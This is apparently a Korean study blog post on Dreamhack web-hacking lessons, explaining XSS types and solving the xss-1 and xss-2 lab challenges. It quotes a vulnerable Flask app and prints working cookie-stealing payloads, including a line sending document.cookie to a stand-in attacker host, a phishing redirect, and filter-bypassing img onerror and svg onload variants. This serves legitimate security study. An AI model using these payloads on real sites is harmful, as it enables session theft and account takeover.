드림핵 Web Hacking-2일차

지선·2023년 7월 12일

드림핵WebHacking

목록 보기
3/12

XSS(Cross Site Scripting)

클라이언트 사이드 취약점
웹 리소스에 악성 스크립트 삽입 -> 이용자의 웹 브라우저에 해당 스크립트 실행시킴
특정 계정 쿠키 및 세션 정보 탈취 -> 정상적인 사용자의 계정으로 임의의 기능 수행 가능
★주로 이용자가 삽입한 내용을 출력하는 기능에서 발생

클라이언트가 HTTP 형식으로 웹 서버에 리소스 요청
서버로부터 받은 HTML, CSS, JS 등의 웹 리소스를 시각화한 후 이용자에게 보여줌
HTML, CSS, JS와 같은 코드가 포함된 게시물을 조회하면 이용자는 변조된 페이지를 보거나 스크립트가 실행될 수 있음
대표적인 태그 : <script>

XSS 종류

  • Stored XSS: 악성 스크립트가 서버에 저장되고, 서버의 응답에 담겨오는 XSS
  • Reflected XSS: 악성 스크립트가 URL에 삽입되고 서버의 응답에 담겨오는 XSS
  • DOM-based XSS: 악성 스크립트가 URL Fragment에 삽입되는 XSS
  • Universal XSS: 클라이언트의 브라우저 혹은 브라우저의 플러그인에서 발생하는 취약점으로 SOP 정책을 우회하는 XSS

XSS 스크립트

  1. 자바스크립트(JS): 웹 문서 동작 정의
    ex) 이용자가 버튼을 누르면 어떤 행동이 작동된다
    웹 브라우저에 저장되어 있는 이용자의 쿠키 및 세션을 통해 이용자의 권한으로 정보를 조회하거나 변경, 웹 페이지 조작, 웹 브라우저의 위치를 임의의 주소로 변경 등 가능
<script>
alert("hello"); //hello 문자열 alert 실행
document.cookie;  //document.cookie: 현재 페이지의 쿠키(return type은 string)
alert(document.cookie); //현재 페이지의 쿠키를 인자로 가진 alert 실행
document.cookie = "name=test;"; //쿠키 생성(key: name, value: test)
new Image().src = "http://hacker.dreamhack.io/?cookie=" + document.cookie; //new Image(): 이미지 생성 함수, src:이미지 주소 지정
//공격자의 주소로 현재 페이지의 쿠키 요청
</script>

<script>
document;
// 이용자의 페이지 접근 후 데이터 삽입
document.write("Hacked By DreamHack !");
</script>

<script>
// 이용자 위치 변경
location.href = "http://hacker.dreamhack.io/phishing"; 
// 새 창 열기
window.open("http://hacker.dreamhack.io/")
</script>

Stored XSS

서버의 데이터 베이스나 파일 등의 형태로 저장된 악성 스크립트를 조회할 때 발생
게시물과 댓글에 악성 스크립트를 포함해 업로드-> 불특정 다수에게 보여짐->높은 파급력

Reflected XSS

서버가 악성 스크립트가 담긴 요청을 출력할 때 발생
게시판 서비스에서 작성된 게시물을 조회하기 위해 검색창에서 스크립트를 포함해 검색->
서버에서 검색 결과를 이용자에게 반환할 때, 검색 문자열에 악성 스크립트가 포함되어 있으면 발생가능
이용자의 요청에 의해 발생->타 이용자에게 악성 스크립트가 포함된 링크에 접속하도록 유도해야함

xss-1

문제 정보
여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다.
XSS 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다.

이건 vuln(xss) page에 들어갔을 때 인데

url에 script 태그가 존재한다.

이건 memo 페이지에 들어갔을 때

들어갈 때마다 hello가 적혀있는 모습을 볼 수 있다.

마지막으로 flag에 들어가면

vuln(xss)페이지와 유사한 url을 제출할 수 있다.

이제 코드를 살펴보자.

#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"


def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome("/chromedriver", options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True


def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return param


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'


memo_text = ""


@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)


app.run(host="0.0.0.0", port=8000)

@app.route("/")인 경우
render_template("index.html")
render_template(""): 파일을 불러와줌
그러니까 index.html을 보여줌

@app.route("/vuln")인 경우
request.args.get("param", ""): 첫번째 인자로 param을 넘겨주면 딕셔너리에 있는 첫번째 value 얻음, param에 해당하는 value가 없으면 None 반환

@app.route("/flag", methods=["GET", "POST"])인 경우
request.method가 get이면 flag.html을 보여주고
request.method가 post라면 check_xss 함수 호출 후 vuln으로 이동

@app.route("/memo")인 경우
request.args.get을 통해 memo를 받아와서 render_template로 출력해준다

flag 페이지를 통해 memo장에 flag를 출력시켜줄 수 있을 듯 하다.
스크립트 예제처럼
new Image()를 통해 이미지 객체를 생성해주고 src를 통해 이미지의 주소를 지정해준다.
이미지의 주소는 "http://127.0.0.1:8000/memo?memo="이렇게 설정해주고,
document.cookie를 통해 현재 cookie 값을 탈취했다.

<script>new Image().src="http://127.0.0.1:8000/memo?memo="+document.cookie;</script>

이러고 memo장에 들어가보면 flag가 적혀있다!

render_template 함수는 XSS 발생을 막아준다 (왜?전달된 템플릿 변수 기록할 때 HTML 엔티티코드로 변환해 저장하기 때문)

xss-2

이전 문제와 유사하지만 조금 다르다
우선 vuln(xss) page에 들어가면 uri에 alert(1)이 있음에도 불구하고 경고창이 뜨지 않는다.

http://host3.dreamhack.games:20194/vuln?param=alert(1)

로 했을 때, alert(1)이 출력되는 것을 봐서 script 태그가 막히는 듯 하다.
이를 대체할 만한 무언가가 필요하다.

그리고

http://host3.dreamhack.games:20194/vuln?param=%3Cscript%3Ealert(1)%3C/script%3E

<는 %3C로, >는 %3E로 바꿔져 있는 것을 봐서 URL 인코딩이 되어있었다.

또, 코드는 바뀐 것만 살펴보면

@app.route("/vuln")
def vuln():
    return render_template("vuln.html")

vuln 페이지가 render_template()로 return 하기에 xss를 막는거 정도?가 있었다.

script 태그를 사용하지 않고 우회해서 공격하는 것이 필요해보인다.
xss 우회 기법을 검색해보면
1. svg onload
2. img src="링크" onerror ""
등이 있다
이 기법을 한번 쫙 정리해놓아야겠다.

어쨋든 다시 돌아와서 svg onload를 통해서 alert(1)이 실행되는지 확인해보니까

잘된다. 2번 역시 됐다. 이것들을 활용해서 문제를 풀어내면 될 것 같다.

근데 자꾸 안되서 왜그러지 왜그러지 하다가 알게된 게 따옴표 ........

//내가 실패한 거
<img src="" onerror=new Image().src="http://127.0.0.1:8000/memo?memo="+document.cookie>

<svg onload=new Image().src="http://127.0.0.1:8000/memo?memo="+document.cookie>
//이건 성공한거
<img src="" onerror="new Image().src='http://127.0.0.1:8000/memo?memo='+document.cookie">

<svg onload="new Image().src='http://127.0.0.1:8000/memo?memo='+document.cookie">

차이가 보이시나몬롤
구문에 대해 잘 이해하지 못한 것이 이 문제를 푸는데 시간이 오래 걸렸던 이유같다.

<img src="잘못된 링크" onerror="안에는 내가 수행하고 싶은 동작"> 꼭 따옴표 붙여주기!!!
<svg onload="내가 수행하고 싶은 동작">

꼭 기억하자

그리고 new Image().src를 대체할 수 있는게 location.href()
둘에 대해서 더 자세히 봐보면
new Image().src="링크"+document.cookie는 이미지 객체 생성 후, 그 이미지에 링크를 연결하고 (여기서는 /memo에!) 현재의 cookie가 출력되게 된다.
location.href()="링크"+document.cookie는 자바스크립트에서 페이지를 이동할 수 있게 도와주며 링크로 이동해서 현재의 cookie를 출력하게 된다.

profile
긍정왕되기

0개의 댓글